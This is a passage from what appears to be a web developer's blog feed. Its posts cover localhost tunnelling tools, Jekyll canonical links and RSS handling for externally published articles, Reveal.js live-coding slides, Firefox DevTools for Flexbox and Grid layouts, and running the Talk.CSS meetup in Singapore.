After which you will have access to the lt command and you can start your HTTP tunnel with the following (again, modify according to which port your application is running off):

lt --port 3000

You will get a publicly accessible URL and for the most part, that would be enough for you to set up an integration with a service that supports webhooks.

What's interesting about Localtunnel is that there is also a repository you can clone to set up your own localtunnel server, and hence use your own custom domain. This approach requires you have control of a server where you can set up DNS entries, as well as handle incoming TCP connections for any non-root TCP port.

localhost.run

localhost.run is very similar to Serveo but with less features. In fact, as far as I can tell, it only does 1 thing: expose your local web server to the web with a public URL. And it does that well enough for me.

You'll need to run the following (again, modify port number to suit your set up):

ssh -R 80:localhost:3000 ssh.localhost.run

There will be a message with the RSA key fingerprint of the localhost.run tunnel server when you connect for the first time, and you'll need to agree to continue with the connection.

Telebit

Telebit is pretty interesting to me for a number of reasons. In addition to doing port forwarding, you can also share files over Telebit, configure it like a VPN, and the man behind the project, AJ ONeal, hosts it on his own git server (built on Gitea, a community fork of Gogs). And that's kinda cool to me.

Because of the number of features it offers, the installer does a number of things, which are all listed on the documentation page:

install Telebit Remote to ~/Applications/telebit/
symlink the executable to ~/telebit for convenience
create the appropriate system launcher file
- /etc/systemd/system/telebit.service
- ~/Library/LaunchAgents/cloud.telebit.remote.plist
create local user config
- ~/.config/telebit/telebit.yml
- ~/.local/share/telebit

I ran into some permissions issues but could still run the executable so not too sure what happened there. When you run the telebit command for the first time, you'll be asked to register with your email address.

I got stuck after this because I never received the email, so this is sort of an incomplete run through of Telebit. 🤷

Paid options

There are also a number of paid options, like pagekite, Forward and Burrow.io. I did not try them out, because for me, the free options more than cover my needs. But I'm putting them up here anyway just in case they cover some of your use cases.

Wrapping up

I did not realise there were that many options for exposing your localhost to the web, but there you go. I suggest taking the time to check each of them out (at least visit their websites) and see which one fits your needs.

Extra reading

Handling external posts on your own Jekyll site

Tue, 29 Jan 2019 00:00:00 GMT

I write a lot of stuff on my own blog, and occasionally I will contribute to some external publications. But I do like to have a list of all my writing in one place. My website is built using Jekyll and has been for a while now.

Using a static site generator does require some level of effort to set up the relevant templates correctly to ensure your site ends up how you expect. Jekyll uses the Liquid templating language and your content can be written in Markdown or spruced up with HTML and CSS.

Most publications expect contributors to give the publication exclusivity of the article for a certain amount of time before republishing because traffic is paramount to these publications' ability to earn money. It is important to respect this requirement, especially if the publication is paying you for the article.

Due to a lack of conscientiousness on my part, I found that I had violated this requirement when I tried to include external posts in my list of writings on my own site 😔. So I'd like to share the steps I took to rectify the mistake and maybe it'll be helpful to people who want to do something similar.

TL;DR

Set additional custom variables on Front Matter of external post, which will be used in the subsequent points:
```
external_url: https://PATH_TO_THE_CANONICAL_VERSION
external_site: PUB_NAME
```

Make sure canonical link in <head> points to original source:

{% raw %}{% if page.external_url %}
<link rel="canonical" href="{{ page.external_url }}" />
{% else %}
<link
  rel="canonical"
  href="{{ page.url | replace:'index.html','' | prepend: site.baseurl | prepend: site.url }}"
/>
<link rel="alternate" type="application/atom+xml" title="{{ site.title }}" href="{{ "/feed.xml" |
prepend: site.baseurl | prepend: site.url }}"> {% endif %}{% endraw %}

Replace all links to internal post URL with original source URL. For listings, you can add a conditional:

{% raw %}{% if post.external_url %}
<a href="{{ post.external_url }}">{{ post.title }}</a>
{% else %}
<a href="{{ post.url }}">{{ post.title }}</a>
{% endif %}{% endraw %}

Include visual cues to indicate that links to the article redirect to the original source

Remove external posts from RSS feed, if applicable. The following example requires posts to be excluded have an additional custom variable in the Front Matter:

nofeed: true

It is possible to use some other existing custom variable that is unique to external posts as the conditional as well. Add conditional to feed.xml as follows:

{% raw %}{% for post in site.posts limit:15 %}
  {% unless post.nofeed %}
  <item>
    <title>{{ post.title | xml_escape }}</title>
    <description>{{ post.content | xml_escape | truncatewords:120}}</description>
    <pubDate>{{ post.date | date_to_rfc822 }}</pubDate>
    <link>{{ post.url }}</link>
    <guid isPermaLink="true">{{ post.url }}</guid>
  </item>
  {% endunless %}
{% endfor %}{% endraw %}

To make things clear, add a note where the article was originally published, if you include post content as a truncated summary on listings.
Consider adding a noindex to the <head> of external posts, if you don't want the internal post URL to end up on search engines at all, but this is a bit of an overkill because as long as the canonical URL is set, this shouldn't affect the SEO of the original content. I think.
Use a random string as the source filename to minimise the odds people will manually type the internal URL, also part of the overkill suite.

Jekyll posts

With Jeykll, each post is a single text file which is then processed into a proper blog. It is probably possible to utilise data files to somehow intersperse external links with internal posts but it's too much for my little brain to figure out, so I even with external posts, I create a post file for each.

Since I already have the file, I just write my draft into that markdown file as I would any other post on my site. When my post gets released on the external publication, I will also “publish” the link on my site. Because we can replace the internal link with an external one anywhere a link to the article needs to show up.

And here's where I messed up.

Even though I had set it up such that any internal links to the article body were replaced with the external URL of the published article, I had failed to change the canonical link metatag on the post ❌, and included them in my RSS feed ❌.

Canonical links

Canonical links, I recently learned, are very important for search engine optimisation. Yes, you may judge me for being in this industry for years without really understanding SEO. Judge away, my friends. A canonical URL specifies the preferred version of a web page, often this should be the original source of the content.

When there are multiple versions of similar content, search engines won't know which one to display in their search results. By picking and indicating which version is canonical, this solves the duplicate content problem.

We do this by setting a rel=canonical in the <head> of all other non-canonical versions as follows:

<link rel="canonical" href="https://PATH_TO_THE_CANONICAL_VERSION" />

With this additional metatag, search engines will count links to other versions of the content to the canonical version. If and when you decide you want to republish anything, remember to set this correctly on your post.

Currently in version v3.8.5, Jekyll installs with a gem-based theme called Minima. For gem-based themes, the template files exist within the theme's gem, and you won't be able to see them directly. However, any of these theme defaults can be overriden, or you can create your own custom theme directly.

To replace any of these theme files, create the relevant files and folders in your project. The Jekyll documentation gives you step by step instructions and I suggest going through it.

To distinguish between an external post and an internal post, you'll have to add some Front Matter to the external post that the template can use as an identifier. In my case, I add 2 variables, external_site and external_url, to all external posts.

external_url: https://PATH_TO_THE_CANONICAL_VERSION
external_site: PUB_NAME

These 2 variables will be used in a number of places, one of which is the default template to make sure the canonical link is set correctly:

{% raw %}{% if page.external_url %}
<link rel="canonical" href="{{ page.external_url }}" />
{% else %}
<link
  rel="canonical"
  href="{{ page.url | replace:'index.html','' | prepend: site.baseurl | prepend: site.url }}"
/>
<link rel="alternate" type="application/atom+xml" title="{{ site.title }}" href="{{ "/feed.xml" |
prepend: site.baseurl | prepend: site.url }}"> {% endif %}{% endraw %}

Replacing internal URLs with external URLs

With the 2 custom variables defined in the Front Matter of the post, we can also replace any instances of the internal post URL with the proper external URL. Usually this occurs in listings, either on your main page, or blog/writing page.

The template for listing posts usually looks like this:

<ul>
  {% raw %}{% for post in site.posts %}
  <li>
    <a href="{{ post.url }}">{{ post.title }}</a>
  </li>
  {% endfor %}{% endraw %}
</ul>

Swapping out the URLs can be done with a conditional:

<ul>
  {% raw %}{% for post in site.posts %}
  <li>
    {% if post.external_url %}
    <a href="{{ post.external_url }}">{{ post.title }}</a>
    {% else %}
    <a href="{{ post.url }}">{{ post.title }}</a>
    {% endif %}
  </li>
  {% endfor %}{% endraw %}
</ul>

Visual cues for external links

We can use the external_site, custom variable to add a relevant CSS class for styling the external link.

<a class="{{ post.external_site }} external-url" href="{{ post.external_url }}">{{ post.title }}</a>

which generates the following markup:

<a class="PUB_NAME external-url" href="https://PATH_TO_THE_CANONICAL_VERSION"
  >The title of your article</a
>

I chose to use pseudo-elements to prepend the logo of the publication to my link, and an icon that indicates a link-out to the end of the link.

.external-url::before,
.external-url::after {
  content: "";
  display: inline-block;
  height: 0.8em;
  width: 0.8em;
}

.external-url::before {
  margin-right: 0.25em;
  background-size: cover;
}

.external-url::after {
  background: url("/images/icons/icon-link.svg") no-repeat;
  background-size: cover;
  margin-left: 0.25em;
}

.PUB_NAME::before {
  background: url("/images/icons/PUB_LOGO.svg") no-repeat;
  background-size: cover;
}

If you write for a number of different publications, then you'll have to add more classes for each publication and their corresponding logo.

Generated RSS feed

Jekyll has an official plugin for generating RSS feeds called jekyll-feed, and to activate it, you'll have to add it to your _config_yml file. This plugin works if your site is hosted on GitHub Pages as well, and automatically generates an Atom feed at /feed.xml.

To override the default template, you can create your own feed.xml file in the root of your project. The key is to add a conditional to exclude certain posts. I added another custom Front Matter variable called nofeed to my external posts.

nofeed: true

Then, used it as a conditional in the part of feed.xml that generates the list of items:

{% raw %}{% for post in site.posts limit:15 %}
  {% unless post.nofeed %}
  <item>
    <title>{{ post.title | xml_escape }}</title>
    <description>{{ post.content | xml_escape | truncatewords:120}}</description>
    <pubDate>{{ post.date | date_to_rfc822 }}</pubDate>
    <link>{{ post.url }}</link>
    <guid isPermaLink="true">{{ post.url }}</guid>
  </item>
  {% endunless %}
{% endfor %}{% endraw %}

Additional things you could do

If you include a snippet of truncated content as a summary on your listings, it might be nice to add a note right at the top that indicates where the article was originally published.

You may also consider adding a noindex metatag to the <head> of external posts, if you don’t want the internal post URL to end up on search engines at all, but this might be a bit of an overkill because as long as the canonical URL is set, this shouldn’t affect the SEO of the original content. I think.

Another thing to try is to use a random string as the source filename to minimise the odds people will manually type the internal URL, again, this might be overkill after everything else you already did.

Wrapping up

Well, this sums up the stuff I learned about dealing with external posts on Jekyll. Maybe it'll help someone out. Stay conscientious, my friends.

Customising Reveal.js beyond creating a personalised theme

Sun, 27 Jan 2019 00:00:00 GMT

As I start preparing for a couple talks I will be giving for 2019, I realised that my first talk for 2019 (at CSSConf China) will end up being my 50^th slidedeck built with Reveal.js. I'd used this presentation framework since I first started giving talks, and wrote about the basics back then.

After 50 iterations, my slides these days are pretty heavily customised so I thought it'd be nice to write up some of the things I do to them. With them. Whatever.

In that earlier article, I included a very brief paragraph on creating your own theme. Although Reveal.js has been updated multiple times over the past 3 years, the basic gist of things remain the same. I still stand by my original suggestion to delete the bundled themes, and customise off simple.scss.

As of v3.7.0, the css folder looks something like this:

css/
|-- print/
|   `-- …
|-- theme/
|   |-- source/
|   |   `-- …
|   `-- template/
|       |-- mixins.scss
|       |-- settings.scss
|       `-- theme.scss
`-- reveal.scss

There are a number of preset theme files and I suggest using simple.scss as the base for your custom theme. Within the template folder there are 3 scss files contain base styles and variables that are imported into the theme stylesheets in the source folder.

Note that what I'm describing is the structure that this framework provides out the box. You are completely free to change things up but you may need to modify the Gruntfile.js because that's what handles the compilation of source files.

This is what my custom theme file looks like:

/**
 * Custom theme for Reveal.js presentations.
 * Copyright (C) 2018 Chen Hui Jing, https://www.chenhuijing.com/
 */

// Default mixins and settings -----------------
@import '../template/mixins';
@import '../template/settings';
// ---------------------------------------------

// Include theme-specific fonts
@import url('../../lib/font/magnetic-pro/magnetic-pro.css');
@import url('../../lib/font/magnetic-pro-black/magnetic-pro-black.css');

// Theme template ------------------------------
@import '../template/theme';

// ---------------------------------------------
// Customised styles for this presentation
.reveal {
  …
}

The presentation itself by default loads 2 stylesheets, reveal.css and THEME.css, the latter being a customised theme file generated from .scss files from the source folder. These stylesheets are referenced in the index.html file like so:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <meta
      name="viewport"
      content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"
    />
    <title>Your awesome presentation</title>
    <meta name="description" content="A short description of what the talk is about" />

    <link rel="stylesheet" href="css/reveal.css" />
    <link rel="stylesheet" href="css/theme/jing.css" />
    <link rel="stylesheet" href="lib/css/zenburn.css" />
  </head>
</html>

If Sass is not your thing, then you can add your own custom CSS file and reference it directly as well. Reveal.js is highly customisable.

Creating custom layouts

Now that basic setup is somewhat covered, I'm moving on to some of the fun stuff I tend to do with my presentations. By default, the content on the slides are centred on the page, but now that we have Grid, placing items on the page has become much easier.

Taking a cue from presentation software which generally offers a number of templates to choose from for laying out different types of slides, we can create several layouts that we apply via CSS classes instead. For example, I have a layout class for a 2-column layout that looks like this:

.l-double {
  display: grid;
  grid-template-columns: 1fr 1fr;
}

I have a couple other layout classes for patterns that occur multiple times throughout my slides, and there are also instances where I make one-off adjustments with inline CSS on the individual slides as well.

For me, my slides serve as a tool to help me get my points across when I'm giving a talk, so I often think of them as single-use. Could I have wrote up proper CSS classes for one-off layouts? Sure. But I'd rather spend more time writing the content itself. But that's just me. You do you.

Another layout class I have is for multiple items in a row:

.l-multiple {
  display: flex;
  justify-content: space-around;
}

I want to take this chance to highlight a bug in Blink that has been left open for the longest time, Chrome doesn't preserve aspect ratio for flexed images in auto-height flex container, and does annoy me quite a bit. I had started to learn Flexbox a couple years back when Chrome was still my main browser and learnt the wrong thing because I thought this bug was expected behaviour.

It's not.

Firefox vs. Chrome for flex: 1

Anyway, I've since learnt to double check odd behaviour by going straight to the specification, then checking across browsers to see who's implementing it accordingly. My main browser is now Firefox. Just putting it out there. 🤷

Firefox vs. Chrome for flex: auto

The best way to see the aforementioned bug in action is to load up Jen Simmon's flex shorthand examples page in Firefox (correct), Chrome (incorrect), Safari (incorrect) and Edge (correct) for comparison.

Hacking the `<style>` tag

I also end up wanting to show code examples in my presentations, though I try my best to keep the code short, displayed in a large font size with appropriate syntax highlighting. Sometimes, to better illustrate the effect of the code, I'll pair the code with an image or better still, a video clip of what the code does.

One of the advantages of using a HTML framework like Reveal.js is the ability to add some live-coding to the slides themselves. I “borrowed” this technique from Una Kravets after seeing her slides from The Power of CSS Talk.

There's nothing quite like seeing the effects of a code change happening live on the slides themselves, at least for me. And after poking through Una's code, which she so kindly put up on Codepen, I could see that it involved using the contenteditable attribute on the style tag.

<style contenteditable="true">
  /* Put CSS here and watch your page update as you type */
</style>

With some additional styles, we could make the markup above into an editable code block that applies valid CSS rules onto the page. Some people might raise the validity of doing this, but I consider it a bit of a grey area.

The current HTML specification states that the style element can only be used in 2 contexts, where metadata content is expected, or in a <noscript> element that is the child of a <head> element. In other words, <style> tags should only show up in the <head> of a page.

BUT, in the HTML5.2 specification, one more context is specified: in the body, where flow content is expected. So officially, this approach is invalid HTML now, but it will be valid in future.

The only style required is a display value that generates a box (basically, any valid value except none). But it's probably a good idea to pretty it up a bit more, so let's throw in some color and padding.

style {
  display: block;
  background-color: #2d2d2d;
  color: #ccc;
  padding: 1em;
  white-space: pre;
  width: 100%;
  overflow: auto;
}

I've added a live-code block below so you can mess up this page however you like to test it out. I also suggest inspecting the element with DevTools to work out which styles are doing what.

Live-coding CSS on presentation slides

So far, I've used 2 layouts for live-coding on my slides, a 2-panel and a 3-panel. The 2-panel will consist of the markup I want to target on the left, and the CSS to be applied on the right. The markup for this layout looks like this:

<div class="livecode livecode-2p">
  <div class="result"></div>
  <div class="code"><style class="code-editor" contenteditable="true"></style></div>
</div>

And for the 3-panel:

<div class="livecode livecode-3p">
  <pre class="markup"><code></code></pre>
  <div class="result"></div>
  <div class="code"><style class="code-editor" contenteditable="true"></style></div>
</div>

Reveal.js comes with the syntax highlighting library, highlight.js, which is enabled by default. So as long as you loaded zenburn.css, anything with <pre> and <code> will have styles applied to them.

Most of my styles are layout-related. I always run my slides in Firefox Nightly on stage, so I don't mind using many of the newer CSS properties. Though it is a good idea to run through the whole deck before going on stage, just to make sure things aren't broken. You never know.

.livecode {
  display: grid;
  grid-gap: 0.5em;
  margin: 0;
  padding: 0;

  .result {
    max-height: 100%;
    overflow-y: scroll;
    width: 100%;
    border: 1px dashed $headingColor;
  }

  .code {
    text-align: left;
    width: 100%;
    font-family: "Dank Mono", monospace;
    font-size: 75%;
    color: #efdcbc;
    background-color: #3f3f3f;
    padding: 0.5em;
    border-radius: 0.25em;
    overflow-y: scroll;
  }
}

.code-editor {
  display: block;
  height: 100%;
  white-space: pre-wrap;
}

I'm using Grid, so the .livecode class sets that up, then I have 2 different classes that specifies the grid and item placement for each layout respectively.

.livecode-2p {
  grid-template-columns: 50% 50%;
  grid-template-rows: 1fr;
  max-height: 65vh;
}

.livecode-3p {
  grid-template-columns: 50% 50%;
  grid-template-rows: max-content 1fr;
  grid-template-areas:
    "a b"
    "a c";
  max-height: 70vh;

  .markup {
    grid-area: b;
  }

  .result {
    grid-area: a;
  }

  .code {
    grid-area: c;
  }
}

Depending on the example you're trying to demonstrate, there may be additional styling tweaks and overrides to ensure your example works as expected, because Reveal.js itself has quite a lot of styles. But if you're going to be live-coding CSS on stage, I'm going to make the assumption the cascade is not an issue for you.

Wrapping up

I'd received some feedback after my talks that being able to see the effects of CSS I'm explaining in real-time helps in understanding, so I wanted to share exactly how I did up my slides. Another thing I've started to experiment with is to ditch slides altogether and do the presentation with Firefox DevTools.

We'll see how that turns out 😬. Happy CSS-ing, my friends!

Using DevTools to understand modern layout techniques

Thu, 20 Dec 2018 00:00:00 GMT

I recently got the opportunity to visit the Mozilla Community Space in Jakarta and speak at MozKopdar JKT with Alex Lakatos. Instead of using slides, which was my normal mode of delivery, I decided to go with presenting the concepts and techniques I wanted to share directly through DevTools. It turned out better than I expected.

This made me start to think about the role of DevTools in a broader context. The primary role of DevTools is debugging, but it can also serve as a means of visualising how the browser interprets the code we write, especially for CSS layouts. A big help for understanding the newer layout techniques.

The modern layouts triple team of Flexbox, Grid and Box alignment introduces certain concepts that may be harder to visualise than previous layout methods. And this is where Firefox DevTools, IMHO, does a great job of facilitating that visualisation.

Flex Inspector Tool

Let's start with Flexbox. If sizing in Flexbox has always been an enigma to you, I highly recommend reading Rachel Andrew's excellent breakdown, Flexbox: How big is that flexible box? on Smashing Magazine.

As of time of writing, the only browser with a Flex inspector tool is Firefox, and all the featured examples use Firefox Nightly (v66.0a1 (2018-12-19)). It uses a similar interface as the more well-known Grid inspector tool, where you toggle the tool via an icon next to the display property value.

Toggle flex overlay

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

After toggling the flex overlay on the parent element, we can also observe what's going on for each flex child. Information on the flexibility and size of the flex child can be seen on the layout panel.

Showing the flexibility and size of flex children

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

When it comes to explaining concepts, I found that it was much more effective to talk through what's going on while resizing the browser, changing certain values via DevTools and immediately seeing the corresponding effect on the screen.

For example, it was easier to grasp the content-based sizing values of max-content, min-content and fit-content() when they were demonstrated live in the browser.

Box alignment visualised

The flex overlay also inadvertently became a visualisation tool for the various box alignment properties, largely because of how it was designed. Free space is indicated by a pattern of dashed lines and dots, which makes it clear how free space is being distributed when the different values are applied.

Run through all possible values to see what they do

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

I found this particularly helpful for getting people to remember that the default behaviour of flex items is to stretch to fill the available space on a flex line, i.e. every flex item on the line will end up being the same height (in a row direction) as the tallest item on the line. Sometimes words may be confusing, and visuals can help.

When your flex items are not the height you expected them to be

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Such behaviour is also observable when the Grid overlay is applied, and given that Firefox also has, by far, the best Grid inspector tool among all the browsers, let's talk about it too.

Grid inspector tool

Firefox shipped its Grid inspector tool way before any other browser, and they have continued to work on adding more features, and fixing bugs based on feedback from users. As such, the Grid inspector tool has become an indispensable part of my workflow when designing layouts with Grid.

Let's start off with the most useful basic features. The ability to see grid lines labelled with grid numbers. But more than that, we are free to change the colour of the grid overlay, useful for real-world projects where the background colour is very close to the default overlay colour and you need more contrast between the two to see what's going on.

Change colour of grid overlay to suit your project

One of the key improvements since Grid was first released was the way line number labels are handled at the edge of the viewport. For some of my designs, I built the grid to encompass the maximum width and height of the viewport, so in earlier iterations of the Grid inspector tool, those labels got cut-off.

What I appreciate a lot is that the DevTools team took user feedback into account and continued to improve the tool after it was first released. Among other improvements, the position of line number labels have since been adjusted so they are always visible.

A relatively newer feature improvement is the ability to have multiple grid overlays displayed at the same time. This is especially useful for designs that utilise grid in a more complex manner, perhaps overlapping grids or nested grids.

Multiple grid overlays on a nested grid layout (example by Rachel Andrew)

Observing varying rates of change

One of the most interesting features in Flexbox and Grid is how there is a possibility to vary the rate of growth or shrinkage of elements, and affect who shrinks first, or holds their size as long as possible.

I was first clued into such behaviour about one year ago when I met Jen Simmons at the Mozilla All-Hands in Austin. I think we spent around an hour changing grid values and resizing the browser. I mean, isn't resizing the browser a thousand times a day part of the job description? But I digress.

At first it was just an interesting observation, but after Jen introduced the world to Intrinsic Web Design and showed a number of concrete examples behind its 6 broad concepts, I started to think more about the practical applications of such behaviour.

Prior to flexible sizing, if we wanted designs that would adjust to the width of the viewport, our only option was relative sizing, with percentages (or viewport units, if you were adventurous). But sizing elements using these units meant they grew and shrunk at the same rate, regardless of what type of content it was.

Percentages need to managed along blocks of viewport ranges

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Sometimes images grow and shrink too much at the more extreme viewport sizes, or certain blocks of text with different font sizes might not display at a comfortable reading width. We could get around this by adding more breakpoints, which meant multiple blocks of layout code per breakpoint.

There's nothing wrong with that approach, but what I want to highlight is that we have more options now, and varying rates of change is a new design tool we can utilise for building layouts.

Strength of flexible widths

Strength is probably a rather bad way of putting it, but I want to make a distinction between how items with different sizing values hold their widths differently depending on the sizing values of other items within the same context.

fr versus auto versus minmax()

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

The above example uses Grid, because as of time of writing, it supports the plethora of flexible sizing values available to us. If you are reading this years in the future from 2018, maybe these values could be used in more formatting contexts already (keeping my fingers crossed).

For tracks sized with fr, because it's defined as the fraction of leftover space in the grid container, it will absorb all of the additional free space as the viewport continues to grow beyond the space required by non-flexible tracks.

But it is also the first to lose its width when free space is being taken away, to the point where it will shrink to its min-content first, before the tracks sized with other values.

Let the games begin!

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

When you use auto, the track behaves like max-content when there is an abundance of space. The grid formatting context is a special case. Because the initial value of justify-content is normal, which behaves like stretch, all the auto tracks stretch out, beyond the max-content width of the track. (Hopefully this makes sense)

But when space is limited and shrinking, the width of the track becomes the largest minimum size of whatever content is within the grid item. So with reference to my demo, if you keep reducing the size of the viewport, the auto track will shrink until the width of the word “boxes?” before overflowing.

The minmax(min, max) value can be considered the ‘strongest’ at holding onto its maximum width as the viewport shrinks. If there are any fellow tracks sized with fr, those will be first to shrink.

Given that auto is supposed to behave like max-content but is stretched out because of the default alignment property, that stretched-out space is the next to go.

But once the max-content width is hit, an auto track will shrink together with any minmax() track. And they will reach their minimum size at the same time! You can verify this by checking the width of the grid item with DevTools as you gradually adjust the viewport.

See the Pen Flexible sizing: the ultimate comparison by Chen Hui Jing (@huijing) on CodePen.

Let's also talk a bit about fit-content(). This particular track size will have a maximum size of max-content or whatever width was within the parentheses, whichever is smaller. So if there's a lot of content, you can clamp the maximum width at a certain value. If the amount of content is less than the value within the parentheses, the track size end up being max-content.

This example is best played with live, so I've ported it to Codepen ☝️. Please open it up in a new window and resize the page until you grok the behaviour of all the various available values. That's what I did.

Building an actual design

I was also writing another article about flexible sizing for LogRocket and came up with an example design for a feature header. I relied very heavily on DevTools to experiment with the values I needed to get the effect I wanted, especially for the spacer tracks.

See the Pen CSS sizing: different content types by Chen Hui Jing (@huijing) on CodePen.

Even though I knew how flexible sizing worked in my head, putting it all together in a grid where items overlapped and spanned multiple flexible tracks was impossible to do without visualising it in the browser. So cue DevTools to the rescue.

Bonus: CSS shapes

Update: Adrian Roselli, who wrote a brilliant article on using CSS shapes to build a CSS Venn Diagram, so kindly sent over a screencast of the Shapes Editor within DevTools so I've added this new section on CSS shapes.

CSS shapes has been around for a while now, and it's one of those CSS properties that “fails” really well. Unless you're doing something overly elaborate, if the browser does not support CSS shapes, your layout will behave as though you didn't apply Shapes at all.

I wrote about CSS shapes back in 2015 after listening to Jen Simmons talk about it on her podcast, The Web Ahead and reading Sara Soueidan's seminal article on CSS shapes before anyone else was really talking about it.

See the Pen Fun with CSS shapes by Chen Hui Jing (@huijing) on CodePen.

In a nutshell, CSS shapes is used together with floats to allow text to flow around geometric shapes or images. Such an effect is often seen in magazines and newspapers, but the web could not achieve such an effect before this property was developed. The only workaround being making the text part of the image, skewering accessibility.

Chrome and the webkit-based browsers shipped CSS shapes first, back in 2014. Chrome supported CSS shapes highlighting through DevTools, allowing developers to see the areas their defined shapes took up, and any margins applied (via the shape-margin property).

See the Pen Wrapping text to an image with CSS Shapes by Chen Hui Jing (@huijing) on CodePen.

Firefox released CSS shapes support behind a flag in v51 and made it official in v62. In addition to shipping support for the property in the browser, the team also released the Shapes editor tool. Josh Marinacci wrote a feature on Mozilla Hacks showcasing what the tool can do.

Adrian Roselli wrote a fantastic article about creating a pure CSS Venn diagram using CSS grid and the shape-outside property, which I highly recommend reading. The end result not only fallbacks gracefully, it is also accessible to screen readers by default. It's a wonderful use-case of what CSS shapes can do for creative layouts on the web.

The Shapes editor tool in action (courtesy of Adrian)

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

The Shapes editor tool allows developers who are using either CSS shapes or the clip-path property to manipulate and experiment with basic shapes and polygons. The generated polygon function can then be used in your actual code once you're satisfied with the results.

Wrapping up

I hope that this helps anybody who's trying to wrap their head around how flexible sizing works, and that you'll try it out yourself. Because there's no better teacher than resizing your browser a thousand times and seeing what happens. I'm only sort of joking here.

But I'm also excited to see what designers and developers create once we've all gotten used to sizing that holds width depending on its own value and the value of other items within the same context. I think such behaviour opens up a lot of options for designing layouts across a broad range of viewport sizes without heavy reliance on breakpoints.

That's exciting to me. And I hope it's exciting for you too! 🤩

Organising Talk.CSS, consistently anyhowly

Tue, 16 Oct 2018 00:00:00 GMT

Some of you may know that I organise a little meetup called Talk.CSS, Singapore's only CSS-centric meetup, with Chris Lienert. As we are coming up to 3 years this November, our third birthday will also, sadly, be Chris's farewell as he moves home to Australia. Starting Talk.CSS with Chris has been incredibly fun and rewarding, largely because we never took ourselves too seriously. 😱

But that doesn't mean it didn't take effort. To date, we have yet to cancel a meetup or miss a month. A large reason for this is because there are 2 of us, so whenever 1 of us can't make it, the other can pick up the slack. So am I slightly worried how we will continue the streak with Chris gone? Yes. But we'll see how things work out.

If you're wondering about the word “anyhowly”, it is the adverb “anyhow” with an additional “ly” appended for emphasis. This is perfectly acceptable Singlish.

Before the doors open

There are 2 critical components to a meetup: speakers and venue.

Scouting for a venue

Usually, I will start scouting for venues a month before. Talk.CSS does a revolving venue format, so we try to contact different potential hosts every time.

Scouting for venues involves consulting the Engineers.SG events for locations of other meetups and getting in touch with the relevant hosts. Or asking on KopiJS. Getting in touch is almost always via email, with some standard information that hosts usually require:

Talk.CSS is a monthly tech meet-up about CSS (and web design).

We list the event as starting at 7pm, while talks begin proper at 730pm. Everything wraps up by 9pm or so.

The turnout is usually 30-40 people.

Our website is https://singaporecss.github.io.

We also have some social media on Twitter (@SingaporeCSS) and on Facebook (https://www.facebook.com/groups/SingaporeCSS).

Most of our community announcements happen on Facebook, as well as in the KopiJS slack channel and meetup.com (https://www.meetup.com/SingaporeCSS/)

A month lead-time is usually enough, but sometimes we get hosts who cancel on us fairly last minute, so then it becomes a mad scramble to find a replacement venue. If you've organised a meetup before, you probably can relate. 😌

Speakers

This is particularly challenging because, in my experience, developers in Singapore are not exactly clamouring to do public speaking. As a last resort, both Chris and I have topics that we can pull out of our back pocket to tide things over.

But generally, getting speakers for Talk.CSS involves me “persuading” friends or even random people I just met at other meetups to talk about anything remotely related to CSS. And I'm incredibly grateful I still have friends left. 🤷

Sometimes people get in touch with Chris or myself and volunteer to speak. If this happens, I do a happy dance and throw an emoji party in Slack with Chris. Because we have a website (that is regularly updated), I will ask the speaker for their talk title, short description, a headshot, a one-liner bio and any social media links.

If any information is missing, I will make stuff up or write some nonsensical placeholder like, John Doe is pondering the meaning of his life before he can write his bio.. Of course, I give the speaker a heads up that if they do not provide the information in time, it'll be my creative writing for their profile on the website. 😈

Other things on the to-do list

Because the Singapore tech community is blessed to have an organisation like Engineers.SG who records almost every tech meetup in Singapore, I'll input the event into the spreadsheet to give the team a heads up that our meetup is happening and we'd like someone to come record.

I'll also make sure to create the event on Meetup.com and update the website accordingly with venue information, talks and speakers. The SingaporeCSS website is built on Jekyll and I've reworked it a bit over the years to be more template-ised to make my life easier.

The introductory slides for the meetup, built entirely with HTML and CSS, need to be updated with the host of the month, CSS colour of the month, and any ad-hoc announcement requests we may have. I also do a segment called HTML and CSS news of the month, so that needs to be prepared as well.

In a bid to encourage people to show up, I will start writing random social media posts 2 weeks before on Facebook, Twitter and Slack. Mileage has varied so I have no advice on this. 🐒

On the day

Over the past 33 meetups, for the times that our hosts did not provide food, Chris has stepped up and sponsored dinner for many a meetup. Chris's amazing wife, Sarah, has also contributed an incredible array of confectioneries and baked goods over the years. Sarah, we don't deserve you.

Either Chris or myself will show up at the venue around 630pm. Doors open at 7pm and we start talks around 730pm. Usually things wrap up around 830pm. The unique thing about Talk.CSS is that our audience don't eat a lot. I think we are one of the rare tech meetups where there is food left over and we have to beg people to eat or take food home.

It's critical that we thank the people who host us and whomever showed up from Engineers.SG to record us. And also everyone who shows up, especially the regulars, because there is no meetup without an audience, right?

After the day

I'll usually do a recap once the Engineers.SG recordings are out. And this is almost always a less than 24-hour turnaround time, because they are a world-class team of volunteers. The recap involves a brief description how the evening went, adding the talk graphics, and updating the relevant data files (for links to videos etc).

Then, rinse and repeat and do it all over again for the next month.

Wrap up

When I was at JuniorDevSG last night, Michael Cheng mentioned that organising meetups is often a thankless job. I guess this is because most people who haven't organised one themselves don't know what goes on behind the scenes.

Most of the time we organise meetups because we feel like it, and want to build a community, however small, of people who are excited about whatever the meetup is about. So anybody who wants to pitch in and help out is always greatly appreciated. 🙏

If anybody is based in Singapore and feels like helping out with Talk.CSS (or any other of the local meetups), get in touch! ❤️

1827 days working on the web

Mon, 01 Oct 2018 00:00:00 GMT

